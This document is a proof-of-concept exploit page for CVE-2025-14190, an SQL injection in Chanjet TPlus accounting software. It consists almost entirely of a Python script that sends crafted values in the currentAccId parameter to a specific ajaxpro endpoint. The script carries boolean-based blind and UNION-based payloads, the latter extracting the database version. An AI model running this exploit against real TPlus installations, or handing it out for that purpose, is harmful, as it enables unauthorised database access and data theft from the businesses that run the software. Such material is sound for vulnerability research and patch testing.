CVE-2025-14190: Chanjet TPlus SQL注入漏洞

import requests import sys # CVE-2025-14190 SQL Injection PoC for Chanjet TPlus # Target: /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanySettingController,Ufida.T.SM.UIP.ashx def exploit_sql_injection(target_url, payload): """ Exploit SQL injection vulnerability in Chanjet TPlus currentAccId parameter """ params = { 'method': 'Load' } # Malicious payload in currentAccId parameter data = { 'currentAccId': payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-AjaxPro-Method': 'Load' } try: response = requests.post( target_url, params=params, data=data, headers=headers, timeout=30 ) return response.text except requests.exceptions.RequestException as e: return f"Request failed: {str(e)}" # Example payloads if __name__ == "__main__": target = "http://target.com/tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanySettingController,Ufida.T.SM.UIP.ashx" # Boolean-based blind SQL injection payload = "1' AND 1=1--" print("Testing boolean-based injection...") result = exploit_sql_injection(target, payload) print(result) # UNION-based injection to extract database version union_payload = "1' UNION SELECT @@version--" print("Extracting database version...") result = exploit_sql_injection(target, union_payload) print(result)